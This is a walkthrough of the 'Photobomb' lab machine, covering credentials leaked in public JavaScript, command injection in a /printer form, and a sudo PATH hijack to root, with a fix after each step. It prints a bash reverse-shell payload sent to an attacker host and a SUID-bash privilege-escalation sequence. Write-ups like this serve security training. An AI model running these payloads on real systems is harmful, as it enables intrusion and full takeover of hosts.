← all walkthroughs

Photobomb

Linux· Easy
owned
2026-07-06
time to own
6m18s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I found that the Photobomb Ruby/Sinatra web application, reverse-proxied by nginx, hard-coded HTTP Basic-Auth credentials inside a publicly accessible JavaScript file served before any login prompt. Using those credentials to reach the /printer management panel, I appended shell commands to the image file-type POST parameter, which the server passed unsanitized to a shell, producing a reverse shell as the application user 'wizard'.

A sudo rule then allowed 'wizard' to run a root-owned cleanup script with full environment inheritance (SETENV) and no password, while the script invoked the 'find' binary by name rather than absolute path. Planting a malicious 'find' binary in /tmp and overriding PATH via the SETENV flag caused root to execute my own code, completing full system compromise.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD2="<the-password-you-recovered>"

Attack path — how the box was taken

1ReconnaissancePort scanning and virtual-host enumeration
Mapped open services and discovered the photobomb.htb virtual host
A port scan revealed SSH on port 22 and nginx 1.18.0 on port 80. A bare-IP request to port 80 returned a 302 redirect to http://photobomb.htb/, indicating virtual-host routing. Adding the hostname to local resolution and browsing the site revealed a Ruby/Sinatra photo-printing application with a login-protected /printer panel.
Nmap: 22/tcp open ssh OpenSSH 8.2p1; 80/tcp open http nginx/1.18.0; curl to bare IP returned 302 → photobomb.htb; curl -H 'Host: photobomb.htb' → <title>Photobomb</title>
Exact commands 3
shell

Service-version scan against the two open ports.

$ nmap -Pn -sV -p 22,80 $TARGET
22/tcp open ssh OpenSSH 8.2p1
80/tcp open http
shell

Add the vhost to local DNS resolution.

$ echo "$TARGET photobomb.htb" | sudo tee -a /etc/hosts
shell

Confirm the application homepage loads under the vhost.

$ curl -si http://photobomb.htb/
2Credential DiscoverySensitive data exposure in client-side JavaScript (CWE-312)
Found plaintext credentials hard-coded in the public JavaScript file
The homepage loaded photobomb.js before requiring any authentication. That file contained a hyperlink with HTTP Basic-Auth credentials embedded directly in the URL — http://<withheld> — visible to any unauthenticated visitor who viewed page source or opened the file directly.
Photobomb.js: setAttribute('href','http://<withheld>')
Exact commands 1
shell

Retrieve the public JS file and read the embedded credentials.

$ curl -s http://photobomb.htb/photobomb.js
FixRemove credentials from client-side JavaScriptHigh
WeaknessThe application's public JavaScript file embedded the HTTP Basic-Auth password in a hyperlink URL (http://<withheld>). Any unauthenticated visitor who loaded the homepage received this file and could read the password before ever seeing a login form.
FixNever embed authentication credentials in JavaScript, HTML, or any asset delivered to the browser. Remove the credentials from the URL entirely and rely on the browser's standard Basic-Auth challenge, or replace Basic Auth with a proper session-based login form. Rotate the password immediately, audit version-control history for past exposure, and consider using a secrets scanner (e.g., truffleHog, gitleaks) in CI to prevent future commits of embedded secrets.
3Authenticated AccessAuthentication with exposed hardcoded credentials
Reached the /printer panel using the discovered credentials
Supplying <withheld> as HTTP Basic-Auth credentials granted full access to the /printer photo-download panel, which presented a form allowing selection of a source image, an output format (filetype), and dimensions. This panel is the attack surface for the next step.
Curl -u <withheld> http://$TARGET/printer → HTTP/1.1 200 OK Content-Length: 4915
Exact commands 1
shell

Authenticate and inspect the photo-download form.

$ curl -si -u "$PASSWORD2" http://photobomb.htb/printer
4ExploitationOS Command Injection (CWE-78 / MITRE ATT&CK T1059.004)
Injected OS commands through the filetype POST parameter to get a reverse shell
The /printer endpoint accepted a 'filetype' POST parameter (e.g., jpg, png) and concatenated its value into a shell command that invoked an image-conversion utility. Appending a semicolon and a bash reverse-shell one-liner caused the server to execute my command as the 'wizard' application account, connecting back to a waiting listener on my machine.
Reverse shell received: connect to [$ATTACKER_IP] from [$TARGET]:36646 — wizard@photobomb:~/photobomb$
Exact commands 2
shell

Start a listener on my machine before sending the payload.

$ nc -lvnp 4444
shell

Inject a bash reverse shell after the semicolon in filetype; replace $ATTACKER_IP with your listener IP.

$ curl -si -u "$PASSWORD2" -X POST http://photobomb.htb/printer --data-urlencode 'photo=eleanor-rabbit-holy-matrimony.jpg' --data-urlencode "filetype=jpg;bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1" --data 'dimensions=3000x2000'
FixValidate and sandbox the filetype parameter — never concatenate user input into shell commandsCritical
WeaknessThe /printer handler passed the user-supplied 'filetype' POST value directly into a shell command string without sanitization. Appending a semicolon followed by arbitrary commands caused the web server to execute them as the application user, giving an unauthorised user a full interactive shell.
FixValidate 'filetype' against an explicit allowlist of safe values (e.g., only 'jpg' and 'png') and reject any value that does not match before processing. Replace shell string-concatenation with a library API that passes arguments as a list rather than a string (e.g., Ruby's Open3.capture2e with an array of arguments), so the shell never receives user data. Run the application under a dedicated, minimal-privilege account that cannot read sensitive files or make outbound network connections.
5FootholdLocal file access as low-privilege web application user
Read the user flag from wizard's home directory
With a shell running as 'wizard' — the account under which the Photobomb web application runs — I read the user flag from /home/wizard/user.txt and confirmed the machine was user-owned.
Cat /home/wizard/user.txt → <user.txt>
Exact commands 1
shell

Read the user flag from within the wizard shell.

$ cat /home/wizard/user.txt
6Privilege Escalation — DiscoverySudo misconfiguration — SETENV with relative binary path (MITRE ATT&CK T1548.003)
Discovered a dangerous sudo rule granting environment inheritance on a cleanup script
Running 'sudo -l' revealed that 'wizard' could execute /opt/cleanup.sh as root with no password (NOPASSWD) and with full environment inheritance (SETENV). Reading the script showed it invoked 'find' by name only, without an absolute path. Because SETENV allows the caller to pass any PATH, whichever directory appeared first in PATH would supply the 'find' binary that root executed.
Sudo -l output: (root) SETENV: NOPASSWD: /opt/cleanup.sh; /opt/cleanup.sh contains: find. -name '*.jpg' ...
Exact commands 2
shell

Enumerate sudo privileges from the wizard shell.

$ sudo -l
(root) SETENV: NOPASSWD: /opt/cleanup.sh
shell

Read the cleanup script to identify the unqualified 'find' call.

$ cat /opt/cleanup.sh
FixRemove SETENV from the sudo rule and use absolute paths in every cleanup scriptCritical
WeaknessThe sudo rule allowed 'wizard' to run /opt/cleanup.sh as root with full environment inheritance (SETENV) and no password. The script called 'find' by bare name rather than /usr/bin/find, so supplying a modified PATH via SETENV let an unauthorised user redirect which binary root executed — an arbitrary-code-execution path requiring no password.
FixRemove the SETENV flag from the sudoers entry so sudo always resets PATH to a safe, system-controlled value before executing the script. Replace every bare binary name in /opt/cleanup.sh with its absolute path (/usr/bin/find, /bin/rm, etc.). If the script does not genuinely need to run as root, remove it from sudoers entirely and schedule it under a dedicated low-privilege account. Review all other sudoers entries for SETENV or wildcard patterns and apply the principle of least privilege.
7Privilege Escalation — Exploitationsudo SETENV PATH hijack via unqualified binary in root-owned script (MITRE ATT&CK T1548.003)
Hijacked PATH via sudo SETENV to execute a malicious 'find' binary as root
I wrote a shell script named 'find' to /tmp that set the SUID bit on /bin/bash. Invoking /opt/cleanup.sh with sudo and a PATH placing /tmp first caused root to run /tmp/find instead of /usr/bin/find, setting the SUID flag on bash. Calling 'bash -p' then produced an interactive root shell.
/bin/bash -p → root@photobomb; cat /root/root.txt → <root.txt>
Exact commands 4
shell

Create a malicious 'find' that sets the SUID bit on bash.

$ echo 'chmod +s /bin/bash' > /tmp/find && chmod +x /tmp/find
shell

Run the cleanup script as root with /tmp first in PATH; root executes /tmp/find.

$ sudo PATH=/tmp:$PATH /opt/cleanup.sh
shell

Open a root shell via the now SUID-flagged bash binary.

$ /bin/bash -p
shell

Read the root flag.

$ cat /root/root.txt

Exposed services

22/tcp
80/tcp